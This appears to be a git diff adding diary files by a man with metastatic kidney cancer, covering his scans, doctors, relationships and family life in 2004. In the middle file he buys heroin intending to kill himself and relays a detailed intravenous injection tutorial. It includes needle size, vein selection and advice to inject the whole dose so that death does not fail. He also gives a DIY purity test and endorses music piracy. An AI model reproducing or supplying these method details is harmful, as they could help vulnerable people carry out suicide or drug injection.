forklift pallets and the frightening crackling and blast of +clandestine explosives in confined spaces (brought especially from +Canberra) and decorated by random puddles of acrid steaming +saccharomycotic vomit, mixed with yelling and screaming and drugfucked +bodies sleeping on stolen rear car seats and rolls of old carpet on +concrete and crunchy 1980s old school rock'n'roll and every kind of +illuminant from burning sticks to current-controlled semiconductors and +spraycans and textas updating every available surface and people full of +serotonergic banned-pharma disco bikkies hurriedly fucking in the side +tunnels and most of Prahran's police (Uphold the Reich) gatecrashing it +later and taking names and confiscating cameras and thumping everyone with +batons, and sometimes the appearance of a few uninvited but not entirely +unexpected tons of swirling dogshit, oil, empty bottles of Evian and the +roaring stormwater which entrains it, trying nonchalantly to flush the +whole psychosis into the Yarra, and the experience of waking up in the +dark at one in the afternoon with your face half submerged in a puddle of +gutter runoff, a glass shard from a longneck stuck in your bum cheek, one +shoe missing, no torch, a fucker of a headache and no idea where you put +your keys or even where you live any more. Rrrroooow. Never mind the +pummelling of the 900km motorcycle ride down the deadly 'Hume to get +there. + +My seat post has finally arrived, and I got it on the last day that the +bike shop traded. The cyclery at 613 Princes Hwy has been there for my +entire life. Now it's closing down. I learnt how to use a chain breaker +there, how to pack bearings with grease, how to tap a thread, rebuild a +coaster brake assembly, tension brake cables. I remember getting my ol' +Cannondale there, which was as close to an aircraft in handling as one +ever gets on two wheels, piloting it down a hill really did feel like +flying. + +I remember now what it was I totally forgot to show Joss. The MRI's, the +CT scans, technological happy snaps, the Before-shots of my evisceration, +rah rah. I think this is a good thing. Though the fatality lurks, I'm +remembering, effortlessly, I'm not dead yet. Or maybe having Joss in my +immediate presence sorta makes me forget these things. Or maybe it's +something else I dunno about yet. + +She's having thoughts about what happens when she shows up at my funeral +and there's all these women there, some of who know each other but most of +whom don't. It never occurred to me to be something to worry about. That I +never intro'd her to my olds, fer instance. + +I'd hit Joss' eyeballs with more of my thoughts but I don't wanna eat all +her bandwidth. She needs solitude from time to time. I take this at face +value 'cos it's a reasonable thing to ask for and I know it's not a coded +way of saying she needs time to shag other people, 'cos I know that +already, and she knows that I know, and that's a reasonable ask too. It's +faintly maddening, but I get the clue. I live in my own brain all the +time, can't escape and it's noisy as hell in here, there's a zillion +processes all running in parallel, talking to each other across the fat +interhemispherical data pipe (hippocampus, 100 million axons carrying +neurological chit-chat from one side of my head to the other) and I'm used +to it, but it'd be easy to swamp her out with my blab or get too +interrogatory just 'cos well, I find her so innerestin'. I dump core data +here in the rants, and she reads 'em (well, parts of them) yet she keeps +her own stuff in notebooks and her laptop, places my eyeballs will never +go. I'm never gonna really know you, am I, I think to myself as I look at +her sometimes, and oh, I dunno, maybe such a wish is unreasonable and I +sorta reproach myself for my curiosity about her. + +Cookie manufacturer (I think I should call her cookie now, manufacturer +takes too long to type) and I hooked up again on Tuesday night, after I +picked up a character reference from the Professor for whom I work from +time to time. She'd given up hope that we'd shag again, and was feeling +pretty neglected while Joss and I were chewing up a lot of time. I hadda +chat with her and told her I can't decide if I'm living or dying 'cos the +course of the disease is so distractingly uncertain. In a warped version +of Pascal's Wager we kinda concluded I have to get on with living since, +if I don't die (yeh, right, in yer dreeeeamz), then I won't be here five +years from now rueing that I just flung the last few years of my life +waiting for a death that didn't even do me the courtesy of being +punctual. + +Arkie and Kat bumped into us while Cookie and I were eating in the front +window of Cinque and Arkie did me the usual arr, you'll fight it, denial +rant, and I really didn't want to get into the mol bio rant about the +nature of the disease 'cos I was sorta convinced I could argue all I liked +with Arkie about it but it wouldn't dent her impenetrable, ignorant +optimism about the pathology, and I just don't wanna allocate time +educating people about it any more. It sorta, you know... bores me. +There's nothin' new to say about it. And I was busy talking about other +stuff to Cookie. We went back to Turella and dispelled this crazy idea +that she got into her head that we'd never shag again. Twice. + +So it's the last day of March. Dew condenses on the roof at night and fog +spills off the hillsides. I'm off to Legal Aid now to see what's gonna go +on in Burwood local court next week. + +Dave Goldstein reckons the experimental treatment is still two months off. +This is how it goes with clinical trials, I know... dudes die while the +paperwork is done, while various genitals are massaged at the ethics +committee meetings, while experimental protocols are designed and +approved. I understand it and don't feel even faintly inclined to give a +millionth of a fuck about the delay. By surviving long enough to undergo +treatment you bias the sample somewhat anyway. + + +Tomorrow it's April Fools, and I'm feeling like foolery, so when you ask +Apache for another file look at it here: + +http://conway.cat.org.au/~predator/foolish.txt + + +You have come to the end of the file. All 100kbyte of it. Holy shit. +Thanks for watching. Do not adjust your set. We will return to our +programmed irregularities shortly. + +But don't take for granted that there'll be one. It's not cos I'm dead but +I'm just a bit tired of writing this stuff at times. diff --git a/mayday.txt b/mayday.txt new file mode 100644 index 0000000..2ebb7e8 --- /dev/null +++ b/mayday.txt @@ -0,0 +1,1167 @@ +File: mayday.txt +Cont: Captain Slog, Blahdate 20045.1 + + +It's may. Things are getting a little bit colder. But no rain. I hope you +liked the nuke mag' resonance picture of the psycho kidney. I tried to +scan in the transverse CT of my neck, so you could look at Bill-the-met in +all his necrotic glory, but the flatbed scanner just wouldn't resolve it. +Oh well. It's just a blob anyway. Remembered, perhaps as The Blob That Ate +Predator. + +Sunday night I caught up with Liisa and Max, her hard-smokin' Finnish dad. +They're off to Kyogle and I'm staying in Skidney. Liisa's not gonna be +capable of rug rattery anytime soon since it appears she's been poisoned +into amenorrhoea by various nasty fumes'n'shit at her previous place of +employ. She still looks pretty thin and even feels bony when we hug. Arrr. +But her hair has grown back and she's not totally caved in like she used +to be. I slung her some RAM to stick in her 'poota and we had a chat at +the Harp pub (where she was glassed some months ago) about stuff in +general. + + +I hate how much of a disintegrating old coot I sound like when I mention +here in the rant that I have this vague pain in my right lower back. +Normally I'd not give a shit but arr, the great thing about cancer is you +can get paranoid about all the usual aches and pains which accompany your +life, so I wonder if it isn't some sort of carcinogenic cookie monster +come to munch on my spine or somethin'. + +----- + +It's tuesday now as I write. I have no idea what I got up to on Monday, +tho the cat meeting was a good'un. We're getting on top of those parts of +the system's unreliability which we can control. Since we have two links +Soz is gonna write some supervisory scripts to route stuff out on +whichever one happens to work. Leah (to whom I loaned my copy of "A +Natural History of Rape") and I had a verbal wrestle wherein she mentions +she believes that biology can't exist without culture. I just don't have +it in me to fall over laughing my pants off about such a comment any more. +Name a single celled organism which gives a shit about art. + +Oh, yeah. Monday. I remember now. I met Joss' mum in a cafe at Carillion +Avenue. She gave me a load of stuff to read and accompanied me to see Dave +Eisinger, who's a renal cancer specialist (I think this means he watches +more people die of it than other people). We chatted about a lot of stuff. +He reckons we should chase whatever mets we find. Bill-the-Lump has +certain advantages, he sez, insofar as we can use him as a straightforward +diagnostic indicator of wether or not any treatments I might try are +having any useful influence. I'd prefer this particular diagnostic +indicator was somewhere the fuck else, like oh, in my left little toe, so +I didn't have to worry about losing any really important shit if it +decides to go prognostic instead. I want bill out of my bod. I wanted it +out six months ago. Eisinger suggests they shoot me full of radioactive +glucose and see what bits of my body metabolise it fastest, with a PET +scanner (tumors love glucose and short carbs). So we can spot any of +Bill's other relatives - they'll look like Bill in the scan, wherever it +is in my body they happen to show up. + +He felt my guts and said it felt lumpy. I suspect this might have been +because of dinner or general skinniness or fibrous tissue encapsulation of +the little bits of steel in my guts. I hope so anyway. + +I'd spent a few days freakin' out about Bill once I found out he'd blocked +my left jugular 'cos that sort of implied he might be going for a carotid +artery next. + + +Thought process table entry for pred, freaking out about Bill: +Fuck, fuck, fuck, fuck, fuck, oh, FUCK!!, fuck, arrrgh, fuck, fuck, FUUUCK! + + +I finally got the detailed clues about what Bill is full of: + +"The aspirate is cellular and consists of numerous malignant cells in a + predominantly dispersed pattern and some poorly cohesive sheets. The + cells have eccentrically placed nuclei with irregular nuclei, + hyperchromatic granular chromatin, multiple macronucleoli and a moderate + amount of finely vacuolated cytoplasm. Mitoses and abundant necroses are + also noted. The appearances are those of a metastatic high-grade + carcinoma with features favouring a renal primary. + + Did the patient have clear cell renal carcinoma and was it Fuhrmann grade 4? + +(yes, actually, but I think I told them that) + + Malignant cells in the sections of the cell block are positive for + cytokeratins (Cam 5.2 and AE1/AE3) and vimentin. This supports the + diagnosis of metastatic renal cell carcinoma." + +Woohoo, some molecular data. Great. I have no idea what vimentin is yet. + +I calmed down a lot when I cracked open Grays Anatomy (after attending the +cat meeting), and checked out the drawings of cranial arterial supply. +There's this arterial loop called the circle of Willis and it's fed by +both carotids and a couple of other rearward arteries whose names I can't +remember. Everything in yer brain is fed off this loop, but due to its +redundant feed architecture blood can flow around it in whatever direction +the pressure profile requires. So if I lose a carotid feed I probably +won't drop off the horizon immediately. I dont know if I should hope for +this or not. + +Natch if a big chunk o' Bill decides to detach, float upwards and block +some the stuff coming off the circle, that could be a total catastrophe +for whatever it happens to block since there's no redundant supply beyond +that. In some scenarios, the neurons housing the personality writing this +rant will die, and that will be the end of the screed. Welcome to Planet +Brain Damage. Proceed directly to Hell. Shit. Oh, wait! I have a card from +Polyester Books, sez Get Out Of Hell Free! Cool. Remind me to have that +surgically implanted sometime. + +I notice I more frequently suffix some of my paragraphs with a profanity. +Shit. + +I wonder, to myself, if I am still in denial. I look around my room, it's +not the room of someone who's cleaned up in preparation for their final +departure. Shit. + +I still go to specialists and they still don't tell me anything useful. + +Yeah, it's gratuitous. Shit. Shit. Shit. + + +Bugger. EMI and Warner have deleted Goldfrapp's Felt Mountain album, +already. It's this sort of misbehaviour which makes me even more motivated +to rip off the record companies by copying their stuff. If they won't sell +it I'll steal it. Fuck'em. + +I rang up the switch at RPA and it rang for a long time before anyone +answered. I asked them to patch me through to their nuke medicine section. +They also took a long time to answer the fone so I hung up. I dialled the +switch again and got their number and rang that myself. They told me that +some or other referring specialist had to fill in a form. Now, that's +Eisinger but his take was that I should talk to a Prof Boyer before the +PET scan happens, even though Eisinger's recommendation is that we chase +mets and the best way to find 'em is with the PET scanner. It shits me +that I need to hear the same stuff from another doctor. PETs are a bit +dear, too, circa $1k per throw. Arr, what the hell. Jab me with atomic +waste, light 'em up, those mets. I'm still not ready to see what the +ghostly antielectrons might have to show me. + + +--- + +Wednesday 5th. I've got the 'flu. At 10:35 I put mum on the back of the +'cycle and rode out to see Mary, who was stoked that we came out to see +her. Then we both wandered around the Waverley Cemetary, which is strewn +with monuments to people's lifelong fear of a god they believed to exist, +and also with evidence of granite, picrite and sandstone masonry pissing +contests, to show who had the best family vault and worshipped god in +a more hard-core manner than the next stiff. Wankers. The best stone of +the lot was an unassuming slab o' black granite engraved with a picture of +a sloop and the words "I'd rather go sailing." We went to Newtown and +sucked coffee again. Then whizzed off to HellaTurella (I scored a +replacement wankerfone aerial off someone's installation artwork). Then +home. Back out to STUCCO to shotgun cannabis smoke off George and Paddy +before gigglingly slapping in a network card in someone's very dusty +pentium1, win95 machine. A delightful day. Except I dribbled a lot of snot +and felt like shit. + +Thursday I woke up with my face snot-welded to the pillowcase and my +turbinates full of something like solyent green, fucking yucko. This is +not a recreational strain of the 'flu... it's ascorbate time, I went up +the pharmo and bagged a big jar of it. I did a CPU transplant on the ol' +Robo608 board, so now it goes at half a GHz and is worth keeping around +for a while longer. I roped it to my pack and dropped it into Turella. On +the way I popped in at the pathologist to have yet another 21-gague canula +stuffed up my arm and blood sucked out. + +Then I went around to my old squat. It's knee-deep in grass and full of +scavenged, low-technology junk. Her droopy-eyed grey brindled dog barked a +lot before Req answered the door. She squatted with me for a while back in +2002, and aside from that she appeared to live entirely on tinned beef +stroganoff, I never thought there was anything unusual about her ('cept +for the time when she tried to walk through the back door without opening +it). She was squatting the derilect Masonic centre on Regent st a couple +of years before that... I arranged a bodgy mains power supply for 'em so +they could have light and power points and hot water. They activated every +air-conditioner in the place, on full blizzard mode, which made me laugh. +She knew I was coming around 'cos I'd SMS'd her boyfriend in advance. +She's caved-in like Liisa was, and wears black. Black pants with the arse +falling out of them and the knees worn out. Black vest. Black shirt. Black +belt. Black sort of suits her in a nomenclatural way. Black history, I +think. + +We sorta weren't looking at each other when we were doing the +re-acquaintance small talk. So I got straight to the point. Was she in a +position to acquire half a gram of smack, white, i.v. grade, and was she +up for a spotter's fee? Her eyes sorta bugged out for a couple of seconds. +What'd I want it for, why so much? I filled her in on what the story was +with big bad Bill. She asked several times if I wasn't drunk or nutz or +something. Then told me she couldn't use the stuff any more. After ten +years of junk use, they'd implanted slow-release naltrexone in her +abdominal wall. But yeah. It might take a couple of hours (man, you find +me anything else which has this short a supply turnaround) but yeah. Hang +around. + +I tend not to trust smackies, 'cos they have motivation to lie, steal yer +stuff, and so on. I figured $160 was a cheap price to learn about wether +or not Req was straight up or not. I read Zen Flesh Zen Bones while the +dog sat on the couch, chewing its fleabitten genitals. The sun fell over +the western horizon. I sunk into the tattered leather couch, and +slept. + +A couple of hours later I awoke as the dog snarled at the sound of +someone's approach. She showed up with a small clear snaplock baggie +containing what looked like a small chunk of ceiling plaster. Half a gram, +white, a bit pocked, hard as hell. It was a bit more than the usual ask, +and cost a bit more than we expected, so it took a bit longer and so I +coughed another twenty bucks. I paid the bux; get the right stuff, do the +job properly, business is business. Quality, along with everything else, +is forgotten shortly after you've forgotten the price. You're sure you're +not drunk, yer serious right, she kept asking. Come on dude, this is one +of the most serious transactions of my life, I didn't come here to jerk +you around, don't jerk me around either. Yeah, ok. + +I didn't expect the tutorial but I was glad of it. She sat down, took off +her belt, got a spoon and some salt for demonstration purposes. Told me to +filter the stuff through a ciggie butt or a clean tampon or something +else. Flick it a bit to get the air out. 27 gague needle, 60mL, smaller +the gague the more likely the stuff'd recrystallise in the cannula and the +more resistance you get forcing the plunger down. Lotsa good sterile +technique in there, swab this, boil that. Don't heat the stuff, but +sterilise the water. Bend the spoon neck a bit so the stuff doesn't fall +out. If the rock is hard you can crush it with another spoon. She said +she'd kill for my veins, which stood out prominently. Go close to the +elbow crease. Avoid other veins recently punctured. Aim centrally to the +vein. Keep the cannula point down and the hollow surface up. Shallow +angle. Choose somewhere which isn't a lump, which is probably a valve. She +did it all with the visible ease of someone who has done it a thousand +times before, like her arms knew what they had to do. It'll take practise +before you can do it reliably, she said. She got the shivers remembering +this sequence of actions and what followed it. Ya just gotta take yer hat +off to people who don't try and talk you out of injecting yourself with a +ticket to Rookwood. Shelf life indefinite. You won't get any time to get +sick on this stuff. Make damn sure you get it all up the spout though, +don't wanna be half-full and drop the stuff, or you won't die and you'll +get brain damage. + + +I packed the rock in my bag [Trafficable Quantity, Possession Carries A +Custodial Sentence] and made to leave. Thanks dude. I kissed her on the +forehead, my angel of death, tears seeped down my nasal ducts where my +faint sniffling could be plausibly passed off as a consequence of this +'flu I have. She will never get any cred for providing me with this stuff, +having the guts to be the intermediary agent by which I will be painlessly +freed. She deserves a medal. No. We pin that stuff on people who do really +important, life-changing stuff, like ... you know... run around a fucking +athletics field. She walked me out to where I was parked. If there was +anything I needed, just ask. Well... a gas chromatograph of this stuff +would be nice but I didn't think I was gonna get it. Wrong kind of +industry. + +I rode the 'cycle around to the Sydney Uni library and found out the +Lubeck Uni team were using tumor cells, extracted, incubated with +interferon gamma, cryogenically killed and then autologously injected. +Whoah. + +I came home and ate a can of shitake mushrooms and went to bed. I woke up +in a newly updated puddle of snot. Showering (my first in a week, I'd +claim water restrictions and all that, but really it just boils down to +that I couldn't be fucked getting out of my clothes sometimes) didn't make +me feel any better but it did wash the biofilm off my face. I should have +stayed in bed, really, I did fuck-all of any significance during the +daylight. Well, actually I did find my quartz crucible, my thermometer, a +bunch of tapered boro' pipettes, a spray can of xylocaine. I couldn't find +the silicone immersion oil. All of this crap, except for the xylocaine, is +to enable me to do a melting point test on the smack, to see if it's +within the literature values. I flame-sealed a pipette at one end, I have +to drop a chunk of the stuff down there so it's thermally coupled to the +pipette, then heat the oil and watch the thermometer when the stuff melts. + +I got an email from Leelz, which I laughed at very hard, about how she's +getting paid stupid amounts of money to shit in people's mouths in +Montreal. To the right people shit really is worth something, it appears. +Certain Canadians are gonna get bad breath. + +I retreated to my room at night again, declining by SMS two offers of a +shag, from two people who, when I told them I was a dribbling snot monster +from outer space, separately claimed already to have had the 'flu already. +I'd go talk to my olds, except they are both in front of sustained, +electronic inanity of the blaring TV (they're a bit deaf) which they +evidently find preferable to my conversation, and mum smokes anyway - I'd +sit in front of the fire 'cept the updraught sucks her putrid fag smoke +towards me when I do. They think this is all perfectly reasonable. Do they +think Ray fucking Martin's gonna tell 'em the significant issues of their +day, like that their son's finally tooled up to kill himself? Maybe they +do. They're used to coming home and selling their eyeballs to Young and +Rubicam. + +"Hey Ray - get your haaand off it." +-TISM (Been Caught Wanking) from the www.tism.wanker.com album (Shock Records) + + +"You don't drink, you don't smoke, you don't go to the football, you don't + go to the races, you don't live in a real world. This isn't life + or death, this is more important - this is what beer you're gonna drink." +-advertising mogul John Singleton, quoted in "Boring Fart" + Mr Floppy - from the "Unbearable Lightness of Being a Dickhead" album + (ZPD001 - Mushroom Distribution Services 9 398601 020628 ) + + +I remember the foaming pandemonium which gripped them both when dad +accidentally brushed the hidden, and unbeknownst, ON/OFF switch while +opening the adjacent window. They bought ANOTHER TV and couldn't get that +to work either. Dad was very fucking grumpy when I refused to set the new +one up on the basis that I believed that the old one was not broken. These +otherwise normal citizens are classically conditioned tube addicts. Maybe +your family has one. Why it shits me now is these dudes and millions like +them think they have a lifespan to waste, collectively years of their +lives, not even communicating, just sucking noise, adverts, adverts +dressed up as news, stuff which isn't news (just history repeating itself) +and various kinds of misinformation. Why for fuck's sake does fashion week +make it to air and contaminate my rants by provoking me to complain about +its mind-smashing banality? I mean, it'd be interesting to watch if the +emaciated waifs had to oh, I dunno, run from a guard dog instead of +dysplastically flouncing down the runway with a gaunt look of grim angst +on their mugs. + + + +"Who'd rather watch someone's life on TV than participate in their own." + -Jello Biafra, NoMeansNo, Bill's Diary, (from The Sky Is Falling and I + Want My Mommy!) - Alternative Tentacles records. + + +Well. That cuts you guys out of the clue loop, I reckon. You can find out +about my death on the fucking telly, where you find out about everything +else important enough to make it to a corporate-owned PAL raster. + + +I drank yet another bottle of BaSO4 for a CT scan I'm undergoing tomorrow. +I am tired of these things, mainly of the needles to inject the contrast +medium, but I think there could be worse experiences to undergo in order +to find out what else my disease is doing. + +Cancer treatment is a stop/go journey. Find something wrong, chop it +out. Wait. Find something else wrong. Try and find someone who'll chop it +out. Chop it out. Wait until, inevitably, something else goes wrong. Can't +chop it out this time. Cry a lot. Get dead. Zzzzz. My story has been +played out in a million other abdomens and I've never heard about them. +Maybe it's like mine. + + +"Violence. Boredom. Violence. Boredom." + +- Dave Grainey's Country Idyll - Jock Cheese (Platter) + + +I'm using gramofile to rip Jock Cheese Platter for Phludde. It was the +first album I listened to after the diagnosis. I like this track 'cos it's +so ... failed escapist. It's about the tacit observation that you can run +wherever you like, ditch yer city job, sell yer house if you have one, +fuck off down the coast or wherever, in search of some freedom you might +imagine to be there, somewhere, any-elsewhere, and ... you'll discover +that life still has sucky aspects wherever you go, and certain people will +still bash the piss out of you in the carpark regardless of what place +you've chosen to hide from the last place you chose to live. I'm not sure +what they're getting at, but it's probably that one bring's one's +suckiness with one wherever one goes. + +It occurs to me that I might well chicken out of shooting the smack if +anyone I like is there on the night. Zen Flesh points out, correctly, how +painfully sweet things are when you're about to lose them all. I am +sometimes taunted by the thought that I somehow fucked up my life, and +it'd be not entirely unexpected to me if my last memory was something +like, "this fuckin' syringe is blocked", then I wake up in a cell or a +hospital someplace, on account of having fucked up my death too. + +---------- + +The radiographer up at South Hurstville is my height, 100 kgs of processed +beef, and I have come to know him moderately well of late - he smiled at +me as I showed up this morning. I was feeling hungry, fluey and generally +rotten. He moves with the non-alacrity which comes from living in a chunk +of meat which takes a bit more time to accelerate than my rather more +gracile chassis. + +"Not again." He said. "Yeah. Not again." I said wringing a half-cocked +smile out of the side of my face. He passed me another bottle of BaSO4 and +said, you know the drill. I gulped it down and waited for 20 minutes while +it dispersed itself in my small intestine. I ditched my clothes, got into +a disposable gown, and climbed on. He got the canula in beautifully the +first time (I suggested 21 gague, left arm). Full of that whooshy +iopamidol, I was fed into the eye of that inane beige cowling which is +meant to protect me from any understanding of how the whirling electrical +eyes within it function, and from guessing what demographic of people tend +to lie here to be subjected to their electromagnetic gaze. + +I went out, ate an apple and had some coffee (and read B magazine, gotta +know what they're pretending to think) and scored a massively overpriced +copy of Felt Mountain at inSanity while the radiographers developed the +CTs. + +I came back and picked up the envelope. Private and confidential, it said, +but it's my disease, I'm gonna read about it, thanks. + +There's more. + +Of course. + + +Now, aside from Bill, there are a bunch of enlarged (see also, stuffed +with rogue renal cells) right-side lymph nodes, and a new mass, in back of +my inferior vena cava, squishing it. + +I don't have to be paranoid any more, now I know why my back hurts and why +it goes hurt, hurt, hurt with every heartbeat in particular positions. +Check it out in the Grays Anatomy, the IVC is the fat central vein taking +blood out of my legs and kidneys ... ah, kidney, and stuff, and routing it +up to the right cardiac atrium, if memory serves me correctly. I fed this +out to Joss' mum: + + +---------- Forwarded message -------------------------------------------- +Date: Sat, 8 May 2004 15:55:29 +1000 (EST) +From: predator@cat.org.au +To: Joss' mum, +Subject: But wait, there's more... + + +Hi Caz... + +I climbed into the CT scanner today, and they scanned the chest and +abdomen. I thought something might be uh, interesting since they spent a +bit more time than usual scanning my lower body. This is because, as +Eisinger might have suspected, there's more involved lymph nodes, so they +scanned 'em again at higher resolution. Here's the chewy assessment: + +-------------- +Folio 889299-1 U/R No 59376 + +There is a mass lesion in the left supraclavicular region measuring 5.1 x +4.3 cm in diameter with inhomogeneous attenuation after IV contrast and +this has the appearances of a lymph node mass. Comparison is made with a +previous scan of 20/04/04 and this has not changed significantly in +appearence. There is no mediastinal lymphadenopathy and the lungs and +pleural cavities remain clear. + +There are no signs of any pulmonary metastases. + +In the abdomen the liver appears normal and there are no hepatic +metastases. There is a soft tissue mass lesion behind the IVC displacing +and compressing the IVC and there appears to be some large retrocaval +lymph nodes present probably due to metastatic disease. This is best +appreciated on images 63 to 72 on page 4 and in the last enlarged +film. The left nephrectomy is noted. The right kidney function promptly +after intravenous injection is normal. The pancreas and spleen are +unremarkable and there was no further abnormality demonstrated. + +CONCLUSION Enlarged lymph nodes in left supraclavicular fossa and right +retrocaval region. + +Dr E Bass + +--------- +The fun doesn't stop, does it? I'll wave this under Poole's nose on Tues. + +Oh, yeah. On Se, my Martindales 30th suggests that the absolute max one +should be taking of selenomethionine or selenocysteine is 465 mikes daily +and they (whoever wrote the particular report) also reckon there was no +really hard evidence to suggest the stuff was really of any benefit for +cancer or cardiovascular disease; The jar I buy containing it suggests +more than 100 mikes/day is toxic. I figure it's no good taking the stuff +at oncostatic levels if that will bugger up other things (Martindales +refers to a report suggesting Se homeostasis might be destabilised in the +presence of large [Se]. So 100 mikes it shall be. Oral Se doesn't appear +to have slowed down the appearance of other lymph mets though again these +might have been cryptics, already doomed before we tossed the kidney. + + +----------------- + + +I viewed this black news in the quiet, solitary gloom of the subfloor +carpark at 2 Ormonde Pde. All I could manage to say was "Ohhhh, poo" as I +breathed out and let my eyelids fall gently down as if they'd somehow +repel the message bouncing off the page. + +Influenza's looking positively laughable, enjoyable, desirable by +comparison but I'm only saying this 'cos I think I'm getting over the +'flu... it's usually something straightforwardly overcome, but has +historically killed tens of millions. + + +Right about now, Mr Floppy says it pretty well: +--------------------------- + +I feel this is the lot which I accept and which will not change. + +I feel exhausted. + +If I had not seen other lunatics close up, I should not have been able to +free myself from dwelling on it constantly. + +I feel exhausted. + +I generally try to be very cheerful. + +My life is all so threatened at the very root. + +I feel exhausted. + +I know well that healing comes if one is brave, from within; through +profound resignation to suffering and death; through the surrender of your +own will, and of your self-love. + +I feel exhausted. + +I generally try to be very cheerful. + +I see no happy future at all. + +I feel exhausted. + +I see no happy future at all. + +I feel exhausted. + +I see no happy future at all. + +I feel exhausted. + +I see no happy future at all. + +Mr Floppy - "Sunflowers" +- from the "Unbearable Lightness of Being a Dickhead" album +(ZPD001 - Mushroom Distribution Services 9 398601 020628 ) + + +It's about the most depressing bit of music I've ever heard. I think, on +the whole, the album achieved a balance nevertheless, given their +screamingly funny speed-metal version of Wuthering Heights. + + +------------------------------ + + +I came home via the junkpile and found my spoke key, a litre of rotary +vacuum pump silicone oil, a couple of CDs I wanted to listen to, a bunsen +burner, a cylinder of propane, an old Telectronics defibrillator/pacemaker +I had intended to cut open for years, and a big boro frit funnel. Ho-kay, +now we find out if the angel of death can be relied upon. Melting point +tests rely on the change of reflectivity of materials when they +crystallise. You can see the powder turn to a clear liquid. + +DIY melting point test. + +1) flame-seal the end of the pipette in an oxidising flame. +2) drop test material into open end of the pipette, flick until a few + mm depth of test material is compacted in sealed end of pipette. +3) Clamp quartz crucible in retort stand. Half-fill with nonflammable + clear oil with high boiling temperature. Preheat oil +4) Clamp 340 degree thermometer and test pipette with ends adjacent under + oil surface. +5) add a contrasting material behind the test material to clearly + visualise changes in state. +6) heat crucible. Observe temperature reading as material + starts to melt and completes melting, and also as material commences + and completes recrystallisation on removal of heat source. Repeat until + results stabilise. + +Silicone oil is used in high-vacuum apparatus precisely because it's hard +to boil it, gases don't dissolve well in it so it doesn't outgas much +under heating or reduced pressure, nor does it chemically break down into +a gas when you heat it up a lot - and it absolutely refuses to catch fire. + + +The defib, even though it was oh, twenty years old, was beautifully +engineered. It spewed glaring white sparks when I cut through it with the +diamond disc, which makes me think its casing was titanium, not stainless +steel (ferrous metals have yellowish or red sparks). All the ICs were +shielded in gold, the SMD resistors all notched down to precise +tolerances. I still haven't figured out the electrochemistry of the +batteries... if indeed that's what they are. They're absolutely flat. +There's one thing in there with 2.5V still on it. Also a bunch of +Beryllium Oxide SCRs, sealed in stainless steel cases... fascinating place +to hide toxic waste - within the thoraxes of cardiac patients. This must +be why it's dodgy to put pacemakers into crematoria. + +I told mum the results of the CT. She lit up a smoke and said oh shit. She +wept a little bit and said, in the past tense, we didn't have you for +long, did we. She's waking up. Later I showed her the little rock of opiod +agonist and the rig with which I was going to verify the material's +purity. I don't think she understands what the test tells me. I'd identify +the stuff much better with a time-of-flight mass spec but I'd go to gaol +for bringing in such a sample to be tested. + + +--------------------- + +I staggered off to the Mekanarchy gig. From the roof beams hung a cool +spider sculpture with a gas-axed four-stroke four cylinder engine camshaft +controlling the legs which moved around, spider-like under the influence +of a half-horsepower motor (ever seen what half a horse looks like?). +Wicked costumes. More people I havent seen for ages who seem incapable of +understanding that when I die I am dead, and I am tired of hearing waffly +crap about how my energy or spirit or some such bollocks is gonna remain. +Think about how much data my personality needs to encode it up there on my +neocortex, and then how much bandwidth there is available to get it out. I +can probably name and remember large sections of thousands of songs, +millions of events that have made up my life, rah rah. I mean, I wrote +this much rant in six months and it took up about half a megabyte, right? +It's like my CV was, a mere slice of what I did and where I was and what I +was thinking and feeling for my whole life. All those memories, doomed to +rot in the great /dev/null of thermodynamics. + + +I popped over to another party later, at Cremmo's new rental accom, and +after breathing in more 2ndhand tobacco smoke just slept on a mattress +Emily laid out for me. I couldn't get comfortable, my back throbbed and +Cremmo's cat still insists on sitting on my head and purring. + +I woke, had breakfast at Why, came home, lay in the bath for a while. Got +out, dressed a bit, answered some email, went back to bed. Low-interest +sunday, another lost weekend, as Stan Ridgeway might have called it. I +finally relented to the SMS's and went over to say hi to the South African, +which is to say, shagged on the couch and we both subsequently collapsed +as a consequence. We both laughed pretty hard when, in that sort of +stunned, panting, post-coital silence ya get after a good shaggin' I +managed to mumble "Happy mother's day." Her kids are in their twenties. We +chatted long into the night. I wonder when my back met is gonna do +something like fuck up my ability to walk, or shag, or take a piss when I +want to. When will it invade that precious shielded data pipe in my +vertebrae, the roaring vasculature nestled against it, my other kidney, or +something else important, and fuck up my days permanently. + +I fed this off to Joss: +------------ + +From predator@cat.org.au Mon May 10 16:00:41 2004 +Date: Mon, 10 May 2004 13:33:18 +1000 (EST) +From: predator@cat.org.au +To: shonky@cat.org.au +Subject: Time, gentlemen. + + +Hi dude. + +Well, I climbed in the CT scanner on saturday and found out why my back +hurts. Yet another neoplasm, close to the original scene of the crime. +It's putting pressure on my inferior vena cava which is the big pipe which +takes used blood from my legs and a few other things and routes it up to +my heart. It goes ow every time my heart beats and I've run out of ways to +get posturally comfortable so I'm starting to throw painkillers down my +neck. There's additional right retrocaval lymph nodes involved now, too. + +I'd love 'em to chop this shit out. Dad's take is that in his clinical +experience chopping these things out "doesn't alter outcomes" as he put it +so they'll probably go the nuclear weapons option and blast it with some +or other species of radiation. Which the literature tells me doesn't alter +outcomes much either. Ah, the literature.... said I'd likely be showing up +with cryptic mets like these within the year after the kidney was +flung. Sure enough, I have. + +Goldfrapp's Felt Mountain has nine tracks on it, cost thirty bucks and is +not as good as Black Cherry I think, much darker. THough I've gotta give +it a few more listens. + +Bill hasn't changed. I see a bloke tomorrow who will decide if he can be +fucked trying to chop it out. + +I'm not generally inclined to jerk people's schedules around to suit me, +though I'm very conscious that my remaining time's sorta shortening quite +rapidly. I'm elapsing. I'm entering that window where nothing will be fun +any more, 'cos I'll be sick as a dog from treatment, if I decide to have a +go, and sick as a dog from disease if I decide not to. So if you're still +inclined to, you should catch me nowish. + +I miss ya and love ya and it sucks not being near you. + +x x + available for a limited time only + +------------------------ + +I miss her, and it's odd, her default state for most of our relationship +has been that she's miles away and I'm cool with it but I'd be much, much +cooler about her requirements for prolonged periods of solitude if they +were just smaller slices of my lifespan than they are now. What's a few +years out of thirty years of remaining lifespan? Fuck all, compared to a +month out of, for example's sake, six. These days I don't even have any +guarantee of a handful of months before something critical gets invaded +and I am suddenly dead. Patience, patience, one part of me says... +patience be fucked, says another. I feel like such a needy, pleading twonk +asking her to come back to Sydney while I still have a body which isn't a +total fuckup to live in, it's an infringement on my "don't bug joss" rule, +but I feel like I know her less than I used to. + +I go see the head and neck dude tomorrow morning. + + + +- +Tues, May 11th. +I did. He looked at my neck, looked at my scan, and said he understood it +was a good idea trying to get it all out, but couldn't figure out how far +down into my chest it had gone so I'd have to yet get another 